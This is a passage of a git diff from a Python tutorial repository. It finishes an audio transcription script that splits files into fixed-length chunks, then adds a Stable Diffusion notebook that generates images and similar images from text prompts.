+    """Splitting the large audio file into fixed interval chunks
+    and apply speech recognition on each of these chunks"""
+    # open the audio file using pydub
+    sound = AudioSegment.from_file(path)  
+    # split the audio file into chunks
+    chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds
+    chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)]
+    folder_name = "audio-fixed-chunks"
+    # create a directory to store the audio chunks
+    if not os.path.isdir(folder_name):
+        os.mkdir(folder_name)
+    whole_text = ""
+    # process each chunk 
+    for i, audio_chunk in enumerate(chunks, start=1):
+        # export audio chunk and save it in
+        # the `folder_name` directory.
+        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+        audio_chunk.export(chunk_filename, format="wav")
+        # recognize the chunk
+        try:
+            text = transcribe_audio(chunk_filename)
+        except sr.UnknownValueError as e:
+            print("Error:", str(e))
+        else:
+            text = f"{text.capitalize()}. "
+            print(chunk_filename, ":", text)
+            whole_text += text
+    # return the text for all chunks detected
+    return whole_text
+
+
+
 if __name__ == '__main__':
     import sys
     # path = "30-4447-0004.wav"
     # path = "7601-291468-0006.wav"
     path = sys.argv[1]
-    print("\nFull text:", get_large_audio_transcription(path))
\ No newline at end of file
+    print("\nFull text:", get_large_audio_transcription_on_silence(path))
+    print("="*50)
+    print("\nFull text:", get_large_audio_transcription_fixed_interval(path, minutes=1/6))
+    
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..aee6b7dc
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb
@@ -0,0 +1,6326 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "ZgIU4Ga56Tiq",
+        "outputId": "764ce650-379a-4bed-d5fb-b5052af024c9"
+      },
+      "outputs": [],
+      "source": [
+        "%pip install --quiet --upgrade diffusers transformers accelerate"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "S919oAK46Z8x",
+        "outputId": "74fe51b4-157d-48a0-9067-6947e2a71bb8"
+      },
+      "outputs": [],
+      "source": [
+        "# The xformers package is mandatory to be able to create several 768x768 images.\n",
+        "%pip install -q xformers==0.0.16rc425"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "Dn2_-E5Sa9Rn"
+      },
+      "source": [
+        "# Using Dreamlike Photoreal"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "WGIvJ0hE6Z_B"
+      },
+      "outputs": [],
+      "source": [
+        "from diffusers import StableDiffusionPipeline\n",
+        "import torch"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 433,
+          "referenced_widgets": [
+            "d02fc695003f435e9ec25e5ab7eec2bc",
+            "e16097842da34cd0bc24cfaeab3de404",
+            "0d2fba8088804ecab806472f5396f1bc",
+            "8bef2ecbcbcf4ad1bb5e495a52ca2aa6",
+            "9a2aa30940934458ae53131db74a7406",
+            "45e95708fe6043c68fd25d8802778998",
+            "da5028411a634a2eb2e1ed3fcc53ed6c",
+            "bc42d1c7cdcd4064a1dbcc3eb1f3009b",
+            "fe3c4a4e4c8b4752a1f1d88da73fb808",
+            "62924d5b19784abcaa672d995fc15127",
+            "833477c7e6144deba2f9a7e1e3fb7c12",
+            "89129c49f76e497a8fb218b8126dc4d9",
+            "4ac86feba0924fad8c82be426d774ce4",
+            "379e92c07edc4ad28165c8b0926746d5",
+            "a144d82a835e4d48b987fecd5af96b6c",
+            "fc3fc7c8bb714f39a67963f2792b527d",
+            "3a0dacdec71447a490820baf3a405580",
+            "bf0a27e1f6f3454fafa2bb04a16e4ba6",
+            "06a9b1722db8473597c3a6cf17dafa29",
+            "621ceb287f8243f5a2952613c01f3f82",
+            "d78921386a5b493ab86718077b16a945",
+            "42ad2fe1e9ee44dcb9d3b7c6af9a87a1",
+            "dbccb67e488b40faa3719e8db6e562a2",
+            "d2598bdd44164f77a581fb0afad817f6",
+            "03fe79b7b7c5439c99fef039f96a831b",
+            "9ac0da7a10a54fbe897b21184cdf154f",
+            "32e55f352157421aa3e1fef5819b3587",
+            "23cd6b916dfe4e5faa4021cf02d07f53",
+            "d97f27872680454ba3574589b371ea97",
+            "d438504eef684317a6c09cc0b123d25d",
+            "26b8bf61f8e44014a005ed10835f68b5",
+            "faa6428f4b7b4cb996cc4d5ca9bcb38c",
+            "b4f99623a96f4d18989cf117b4c91660",
+            "8ae0743d19d74e3aabfe4b5ba54fd7ca",
+            "0072680043674280bcde9c4bc19b3704",
+            "13e357cba1ee4e31887f2c260f2cea15",
+            "41c2930f406d484ca7e1e8a4c13f9b35",
+            "0468827f86394f7baf78d44264a225e7",
+            "260d5617f5e247f3a978a28d5fe72740",
+            "5eba2d04c1c54016834e7dddd253a380",
+            "5573d97394b144d6b8f4065bf81e6d05",
+            "245a11e3ca454d26895c46a5c08be822",
+            "12808180b0b64ecd90839c791134b5fb",
+            "115b71885ef241fb8884e8de28dfdb8c",
+            "51b9487b43204e23bc11c2693f46ff72",
+            "2c63224632c04b159f2c9453e4ca3c15",
+            "5568e424494e406ea991d0c778924aa8",
+            "f0d04527bbe94bfdb91353827c2ad7db",
+            "d1bf7fca5177409290ea45d701774d6d",
+            "68b6a1a9d4c7422d9263e00cbd956be1",
+            "c79ef9b35d014fdfb9f88fc09e870d01",
+            "77755839ec0946c5b33488dd412f4d58",
+            "f7d7fb787f884822aa3e5cdbfab22b1d",
+            "016df28dd739433daa2c8d3b1706486c",
+            "43aa766628a147548714ef986c9d979a",
+            "7989fe19c8b749ddaa60c5c7b5cec0ea",
+            "773661aa8b6e4c0db5238cfe398b2b5b",
+            "21d9342ed95d4bf0959647ef57fceb97",
+            "0bb6ef1e3a2d43ca970723b0e5ac93cf",
+            "0b9c78977b6a45da9aa6ada3332fbc28",
+            "67a3104f358e48459f458fddf98b826e",
+            "b63595513fec4e81a0a8200294faf7ba",
+            "ad2f2fd194ac4bca909e5af122370e3d",
+            "0c34c9ecc697483e831333d67a48ff32",
+            "134ae8a21fc2489e9e7524eb856ef778",
+            "7debd7332d4a4811ad653398344420f4",
+            "e9e33bc9dfd843e88f9f56c0400b07e2",
+            "9307ea294e42484eb32d8b07fddd33dd",
+            "a509f68381854d7da52a21dde99a9f62",
+            "406fd8a742b443968d3f2fc1d3dbfef1",
+            "03433d859a7a4f3cae64d9d0bf374643",
+            "b02317ef6e514fa9b2c58c64e7702533",
+            "df83f20f558f43b9bf1e447316e9de4a",
+            "1cfa604ca2924c25930887b466ac3e9b",
+            "26aac0b253ba4e2e8f19acfa0bead5a7",
+            "7d9b49d6dbfc41988b2c3c6ac40a3cae",
+            "35b84a2a8e0749268b14492abcf0af1f",
+            "14bc95aacebc43a8877bc36c58effccf",
+            "30f32feefcbd486c86cb68c927dd9fca",
+            "0e46fe7538ed4df9b8fa1f36b4b35cdd",
+            "6e0be2c85237496eb97b53963654dffa",
+            "9c751e805d96415d9608c2422906d76e",
+            "1923427b93ae424bb5d91bab418506a9",
+            "c99c614b55ba44fbb2927642128fba9b",
+            "ec377a46cf8647ff891a920c46897786",
+            "4e264808109e4b52983260067550883e",
+            "163075971def4198b5cc7a0d5ec3c81d",
+            "9984e9b0a929433ab6e4501538a60c80",
+            "d26404f63c3240d28ed1af7527307317",
+            "7f29483722954a3697afb9cb24430e8c",
+            "ad3538e88909423a9a8d109bd97745a5",
+            "f1e7ac9f310140f0adac525362d99180",
+            "ce3ebc0beb214d9b9df35c37eff91505",
+            "209020cdb39942178adbc7cc3acf1cb0",
+            "e68ae70236b04e5aa6c5de879ca81e9e",
+            "caf7f52d17334c0ea9141fb27dbb5bd1",
+            "3634354fd978434bbad0fd11d3e0b5fb",
+            "9e1a5419468d4549a38b8d23aa14f6d3",
+            "98eab664cdee4999bb09af5abe60535f",
+            "61325b5427e44d0885d95a82fc44cfd6",
+            "37735d14a2614ffbbceaef743d2033a9",
+            "80916d39f0bc426488b41a013196cc42",
+            "7badbb79920e43b9a6f6317e7b746384",
+            "693b0b6df20e4f2caeaeb4838b37d8bb",
+            "341f088c9e0f4eb2ae3f4868b4dcb835",
+            "2733152e7214400abdf0e793358181b3",
+            "d44653455b8a490997da5bfd8672cf7e",
+            "090573574f8d48a1b9d2918d14c75c9a",
+            "dfdaf22078fd4385ab30060981d67666",
+            "3eee3667ff024f2a875dcf57f00d7f70",
+            "9512cb52fe3a44d0bd0f52daed6139d9",
+            "de35fccd4b4a433e8b468ef3981bede9",
+            "ff35f85d2db0404da5e01fbda308197a",
+            "221469404d3946f39b4c97e708385b88",
+            "1d6c6e3129bc4702afae1facf2b8ba6b",
+            "d0c8dcdbf9f44ca1bc74ea1e2f127b0f",
+            "5e09f80f20554f419d925c5cdf55cc63",
+            "34714076cb4b479eab2c5ec6a6c7d50e",
+            "22d3e015ffd24db8aa145fab92c1901c",
+            "37ceac6f039642cab04a03a8afb9f301",
+            "0ce4a494f2274147b9005aa03358b263",
+            "e8f385dcd70f40d28cd27ba5d7edcef8",
+            "3bc08cdf09a84428a51955f2aa42ea30",
+            "cb68043195a642b3a495d82d87ffd1b8",
+            "0cf91d0dc45340f19f6a7a2804000145",
+            "dff99876d1e3468bb3cbd97160ecd7a1",
+            "0a8793f9c57f48b299703b7945163b50",
+            "edb8b182bc4a413185e754aae38ee93a",
+            "597a8eacf00b406ab23af333aea97e3c",
+            "20396dbdc36b47538a5fd6b522478b67",
+            "3eec3e2c3abe40efb74a05a67bf755a0",
+            "e288ede57ad84b2bb455ba18016c68d8",
+            "8924eb6712b146bd977f21c46531338b",
+            "ede27ca6747240eeb41a9dbde664e8a7",
+            "45ed824c2cd746c09e61dc8a2bdd3384",
+            "3f94af984ba84b838643b03caf8d2d4e",
+            "2e9985de92164304b5b4c8b723d24cf1",
+            "99777597ceee470ca8c8a34f4846435a",
+            "ca063f5b64d74bc9be303eebe7092f81",
+            "7d654e85d8794af197e72f905086b9a7",
+            "f3804bde7c974eaf90df71e9fdd3539b",
+            "dba967ac191d45a0b604e93f0dc1fffe",
+            "f8cc05786ad94dcca69f1fedf6d4aa4a"
+          ]
+        },
+        "id": "JzcSCwsF6aBT",
+        "outputId": "1f223f71-54ed-49fe-8cb5-dcfc183a7c3f"
+      },
+      "outputs": [],
+      "source": [
+        "model_id = \"dreamlike-art/dreamlike-photoreal-2.0\"\n",
+        "pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n",
+        "pipe = pipe.to(\"cuda\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "Sz6SRmjd6pBb"
+      },
+      "outputs": [],
+      "source": [
+        "prompts = [\"Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background\",\n",
+        "           \"Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art\",\n",
+        "           \"Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic\"]\n",
+        "\n",
+        "images = []"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 113,
+          "referenced_widgets": [
+            "eb182b33be95418fad1010ccf7b176ab",
+            "614b85aff85e47debadea7773583b8ab",
+            "c6305a1adcd946d2a4c66c05e614bcf1",
+            "d321be86c24d4a35a251d4ef7a75c24d",
+            "a99edd082dff4f928c3b75abf84ec0ec",
+            "3d17c5e7b942485d9ca1db572c06afe5",
+            "29f58c06e0474f4e8f411aaaceb4d7f7",
+            "f369cc94c2544de3acdbcd35cac6d393",
+            "0bec42769e7e4492aedd4afb63a91ff3",
+            "73f2e3215913478aae13131aefadd0a5",
+            "64f6ec814be648d3ba69f94eb844a049",
+            "534cf1c7f20a431cab02aea224148db3",
+            "1997648c2dc946e1bdb18d2730175ea8",
+            "2496cd9b6ee640f8a6d398b7a56f93b7",
+            "7f0e7d1bd12b4d0eb800a3d62901c4a8",
+            "b75a2474c46f4f3b9d84cb981bfffac7",
+            "ac3ea0ea867b4c30bd4be87aaa602d42",
+            "ff0910f0831b49ac9faaba1e70c275dc",
+            "fc5d5de2233543eba400877e7891977a",
+            "f9a2bf4d86ab403d9e1c7378e91bf467",
+            "cbcfc8e9b02348a182722c846cecca2a",
+            "ece36cbb62cd46a8b452fac32dce3493",
+            "6f400bad53794c7cbed09e4fd59c211d",
+            "4cecf6bc5f294968bcee7bf65896a31d",
+            "5bb94e6390af4e81ac0e6b3a47445996",
+            "af474aa6c91344da9a968e7e2488b74c",
+            "5a702086896f4a229e326fa05d616b35",
+            "28cd65b9d6f946abab83e430ab6d2017",
+            "a432cb1a0bc7418bb90248973e91c452",
+            "37af49a1966045ee992e01f45ff5df81",
+            "8120fb8694244e5dbbc448eb2a6e03dc",
+            "69faef33b09f4da7b1c11639102b2a4f",
+            "87d35ca268744638ad484ccf1a7fe2ed"
+          ]
+        },
+        "id": "ovvyensy6pDl",
+        "outputId": "2b0269af-4978-4a8b-eea9-96c12401dc62"
+      },
+      "outputs": [],
+      "source": [
+        "for i, prompt in enumerate(prompts):\n",
+        "    image = pipe(prompt).images[0]\n",
+        "    image.save(f'result_{i}.jpg')\n",
+        "    images.append(image)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "vd532OSA8Md7",
+        "outputId": "a8ddd5b1-376b-4036-d87d-af9dc71c88e0"
+      },
+      "outputs": [],
+      "source": [
+        "images[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "ZpVbvylE8OEt",
+        "outputId": "5a577720-b68e-4657-9cbb-4112287afa23"
+      },
+      "outputs": [],
+      "source": [
+        "images[1]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 785
+        },
+        "id": "R1DNPbbz8PU-",
+        "outputId": "893bb392-96f0-4106-e3d7-f6def830ede1"
+      },
+      "outputs": [],
+      "source": [
+        "images[2]"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "Jd-5c7bouD-_"
+      },
+      "source": [
+        "# Manually working with the different components"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "01bGNP1n6aF4"
+      },
+      "outputs": [],
+      "source": [
+        "import torch\n",
+        "from torch import autocast\n",
+        "import numpy as np\n",
+        "\n",
+        "from transformers import CLIPTextModel, CLIPTokenizer\n",
+        "\n",
+        "from diffusers import AutoencoderKL\n",
+        "from diffusers import LMSDiscreteScheduler\n",
+        "from diffusers import UNet2DConditionModel\n",
+        "from diffusers.schedulers.scheduling_ddim import DDIMScheduler\n",
+        "\n",
+        "from tqdm import tqdm\n",
+        "from PIL import Image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "3yBgKeUs8LWU"
+      },
+      "outputs": [],
+      "source": [
+        "class ImageDiffusionModel:\n",
+        "\n",
+        "    def __init__(self, vae, tokenizer, text_encoder, unet, \n",
+        "                 scheduler_LMS, scheduler_DDIM):\n",
+        "        self.vae = vae\n",
+        "        self.tokenizer = tokenizer\n",
+        "        self.text_encoder = text_encoder\n",
+        "        self.unet = unet\n",
+        "        self.scheduler_LMS = scheduler_LMS\n",
+        "        self.scheduler_DDIM = scheduler_DDIM\n",
+        "        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n",
+        "    \n",
+        "    \n",
+        "    def get_text_embeds(self, text):\n",
+        "        # tokenize the text\n",
+        "        text_input = self.tokenizer(text, \n",
+        "                                    padding='max_length', \n",
+        "                                    max_length=tokenizer.model_max_length, \n",
+        "                                    truncation=True, \n",
+        "                                    return_tensors='pt')\n",
+        "        # embed the text\n",
+        "        with torch.no_grad():\n",
+        "            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n",
+        "\n",
+        "        return text_embeds\n",
+        "\n",
+        "    def get_prompt_embeds(self, prompt):\n",
+        "        # get conditional prompt embeddings\n",
+        "        cond_embeds = self.get_text_embeds(prompt)\n",
+        "        # get unconditional prompt embeddings\n",
+        "        uncond_embeds = self.get_text_embeds([''] * len(prompt))\n",
+        "        # concatenate the above 2 embeds\n",
+        "        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n",
+        "        return prompt_embeds\n",
+        "\n",
+        "    def get_img_latents(self, \n",
+        "                        text_embeds, \n",
+        "                        height=512, width=512, \n",
+        "                        num_inference_steps=50, \n",
+        "                        guidance_scale=7.5, \n",
+        "                        img_latents=None):\n",
+        "        # if no image latent is passed, start reverse diffusion with random noise\n",
+        "        if img_latents is None:\n",
+        "            img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\\\n",
+        "                                       height // 8, width // 8)).to(self.device)\n",
+        "        # set the number of inference steps for the scheduler\n",
+        "        self.scheduler_LMS.set_timesteps(num_inference_steps)\n",
+        "        # scale the latent embeds\n",
+        "        img_latents = img_latents * self.scheduler_LMS.sigmas[0]\n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):\n",
+        "                # do a single forward pass for both the conditional and unconditional latents\n",
+        "                latent_model_input = torch.cat([img_latents] * 2)\n",
+        "                sigma = self.scheduler_LMS.sigmas[i]\n",
+        "                latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)\n",
+        "                \n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']\n",
+        "\n",
+        "        return img_latents\n",
+        "\n",
+        "\n",
+        "    def decode_img_latents(self, img_latents):\n",
+        "        img_latents = img_latents / 0.18215\n",
+        "        with torch.no_grad():\n",
+        "            imgs = self.vae.decode(img_latents)[\"sample\"]\n",
+        "        # load image in the CPU\n",
+        "        imgs = imgs.detach().cpu()\n",
+        "        return imgs\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def transform_imgs(self, imgs):\n",
+        "        # transform images from the range [-1, 1] to [0, 1]\n",
+        "        imgs = (imgs / 2 + 0.5).clamp(0, 1)\n",
+        "        # permute the channels and convert to numpy arrays\n",
+        "        imgs = imgs.permute(0, 2, 3, 1).numpy()\n",
+        "        # scale images to the range [0, 255] and convert to int\n",
+        "        imgs = (imgs * 255).round().astype('uint8')        \n",
+        "        # convert to PIL Image objects\n",
+        "        imgs = [Image.fromarray(img) for img in imgs]\n",
+        "        return imgs\n",
+        "        \n",
+        "    \n",
+        "    \n",
+        "    def prompt_to_img(self, \n",
+        "                      prompts, \n",
+        "                      height=512, width=512, \n",
+        "                      num_inference_steps=50, \n",
+        "                      guidance_scale=7.5, \n",
+        "                      img_latents=None):\n",
+        "        \n",
+        "        # convert prompt to a list\n",
+        "        if isinstance(prompts, str):\n",
+        "            prompts = [prompts]\n",
+        "        \n",
+        "        # get prompt embeddings\n",
+        "        text_embeds = self.get_prompt_embeds(prompts)\n",
+        "\n",
+        "        # get image embeddings\n",
+        "        img_latents = self.get_img_latents(text_embeds,\n",
+        "                                      height, width,\n",
+        "                                      num_inference_steps,\n",
+        "                                      guidance_scale, \n",
+        "                                      img_latents)\n",
+        "        # decode the image embeddings\n",
+        "        imgs = self.decode_img_latents(img_latents)\n",
+        "        # convert decoded image to suitable PIL Image format\n",
+        "        imgs = self.transform_imgs(imgs)\n",
+        "\n",
+        "        return imgs\n",
+        "\n",
+        "\n",
+        "\n",
+        "    def encode_img_latents(self, imgs):\n",
+        "        if not isinstance(imgs, list):\n",
+        "            imgs = [imgs]\n",
+        "        \n",
+        "        imgs = np.stack([np.array(img) for img in imgs], axis=0)\n",
+        "        # scale images to the range [-1, 1]\n",
+        "        imgs = 2 * ((imgs / 255.0) - 0.5)\n",
+        "        imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)\n",
+        "\n",
+        "        # encode images\n",
+        "        img_latents_dist = self.vae.encode(imgs.to(self.device))\n",
+        "        # img_latents = img_latents_dist.sample()\n",
+        "        img_latents = img_latents_dist[\"latent_dist\"].mean.clone()\n",
+        "        # scale images\n",
+        "        img_latents *= 0.18215\n",
+        "\n",
+        "        return img_latents\n",
+        "\n",
+        "\n",
+        "    def get_img_latents_similar(self,\n",
+        "                                img_latents,\n",
+        "                                text_embeds, \n",
+        "                                height=512, width=512, \n",
+        "                                num_inference_steps=50, \n",
+        "                                guidance_scale=7.5,\n",
+        "                                start_step=10):        \n",
+        "        \n",
+        "        # set the number of inference steps for the scheduler\n",
+        "        self.scheduler_DDIM.set_timesteps(num_inference_steps)\n",
+        "\n",
+        "        if start_step > 0:\n",
+        "            start_timestep = self.scheduler_DDIM.timesteps[start_step]\n",
+        "            start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()\n",
+        "\n",
+        "            noise = torch.randn_like(img_latents)\n",
+        "            img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)\n",
+        "        \n",
+        "        # use autocast for automatic mixed precision (AMP) inference\n",
+        "        with autocast('cuda'):\n",
+        "            for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):\n",
+        "                # do a single forward pass for both the conditional and unconditional latents\n",
+        "                latent_model_input = torch.cat([img_latents] * 2)\n",
+        "                \n",
+        "                # predict noise residuals\n",
+        "                with torch.no_grad():\n",
+        "                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']\n",
+        "\n",
+        "                # separate predictions for unconditional and conditional outputs\n",
+        "                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)\n",
+        "                # perform guidance\n",
+        "                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)\n",
+        "\n",
+        "                # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n",
+        "                img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']\n",
+        "\n",
+        "        return img_latents\n",
+        "\n",
+        "    \n",
+        "    def similar_imgs(self, \n",
+        "                     img, \n",
+        "                     prompt, \n",
+        "                     height=512, width=512,\n",
+        "                     num_inference_steps=50, \n",
+        "                     guidance_scale=7.5,\n",
+        "                     start_step=10):\n",
+        "        \n",
+        "        # get image latents\n",
+        "        img_latents = self.encode_img_latents(img)\n",
+        "\n",
+        "        if isinstance(prompt, str):\n",
+        "            prompt = [prompt]\n",
+        "\n",
+        "        text_embeds = self.get_prompt_embeds(prompt)\n",
+        "        \n",
+        "        img_latents = self.get_img_latents_similar(img_latents=img_latents,\n",
+        "                                                   text_embeds=text_embeds,\n",
+        "                                                height=height, width=width,\n",
+        "                                                num_inference_steps=num_inference_steps,\n",
+        "                                                guidance_scale=guidance_scale,\n",
+        "                                                start_step=start_step) \n",
+        "\n",
+        "        imgs = self.decode_img_latents(img_latents)\n",
+        "        imgs = self.transform_imgs(imgs)\n",
+        "        # Clear the CUDA cache\n",
+        "        torch.cuda.empty_cache()\n",
+        "\n",
+        "        return imgs\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "kd6TwWqEs4Me"
+      },
+      "outputs": [],
+      "source": [
+        "device = 'cuda'\n",
+        "\n",
+        "# model_name = \"dreamlike-art/dreamlike-photoreal-2.0\"\n",
+        "model_name = \"CompVis/stable-diffusion-v1-4\"\n",
+        "# Load autoencoder\n",
+        "vae = AutoencoderKL.from_pretrained(model_name, \n",
+        "                                    subfolder='vae').to(device)\n",
+        "\n",
+        "# Load tokenizer and the text encoder\n",
+        "tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder=\"tokenizer\")\n",
+        "text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder=\"text_encoder\").to(device)\n",
+        "\n",
+        "# Load UNet model\n",
+        "unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device)\n",
+        "\n",
+        "# Load scheduler\n",
+        "scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, \n",
+        "                                 beta_end=0.012, \n",
+        "                                 beta_schedule='scaled_linear', \n",
+        "                                 num_train_timesteps=1000)\n",
+        "\n",
+        "scheduler_DDIM = DDIMScheduler(beta_start=0.00085, \n",
+        "                               beta_end=0.012, \n",
+        "                               beta_schedule='scaled_linear', \n",
+        "                               num_train_timesteps=1000)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "SigUHp47f14I",
+        "outputId": "bad874ae-1e68-45fe-ef31-9fe887780582"
+      },
+      "outputs": [],
+      "source": [
+        "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+        "\n",
+        "prompts = [\"A really giant cute pink barbie doll on the top of Burj Khalifa\", \n",
+        "           \"A green, scary aesthetic dragon breathing fire near a group of heroic firefighters\"]\n",
+        "\n",
+        "imgs = model.prompt_to_img(prompts)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "8UpQ8gIWf17j",
+        "outputId": "165f5a5d-fe20-4303-c46f-b247efd05181"
+      },
+      "outputs": [],
+      "source": [
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "NAS1yD8vZym_",
+        "outputId": "ef57db7c-a6c9-437f-d27e-94b2bab06ea9"
+      },
+      "outputs": [],
+      "source": [
+        "imgs[1]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 603
+        },
+        "id": "nj8pcEOupRES",
+        "outputId": "0ced4046-ed46-4bd0-8b77-1c23ca73dab6"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = [\"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"]\n",
+        "\n",
+        "imgs = model.prompt_to_img(prompt)\n",
+        "\n",
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "GmXyduZ1npqg"
+      },
+      "outputs": [],
+      "source": [
+        "# saving the image\n",
+        "imgs[0].save(\"spaceship1.png\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "RuAHYae4r3MC",
+        "outputId": "c4be8be3-cacb-48f6-b70c-15ec69afe5b0"
+      },
+      "outputs": [],
+      "source": [
+        "# loading the image again\n",
+        "original_img = Image.open(\"spaceship1.png\")\n",
+        "original_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "qMcpCt20RyKi"
+      },
+      "outputs": [],
+      "source": [
+        "import torch\n",
+        "import gc\n",
+        "\n",
+        "### If you get OOM errors, execute this cell\n",
+        "# del model\n",
+        "# Clear the CUDA cache \n",
+        "torch.cuda.empty_cache()\n",
+        "gc.collect()\n",
+        "torch.cuda.empty_cache()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "1TQNiEE86Y6E",
+        "outputId": "2b87847d-6a63-4ec7-9cc1-7ac6a3396a48"
+      },
+      "outputs": [],
+      "source": [
+        "!nvidia-smi"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 547
+        },
+        "id": "1vIVmpL4rPmK",
+        "outputId": "4bbc1c35-6850-41f0-a430-39d764a59f2a"
+      },
+      "outputs": [],
+      "source": [
+        "model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)\n",
+        "\n",
+        "prompt = \"Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon\"\n",
+        "\n",
+        "imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)\n",
+        "imgs[0]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
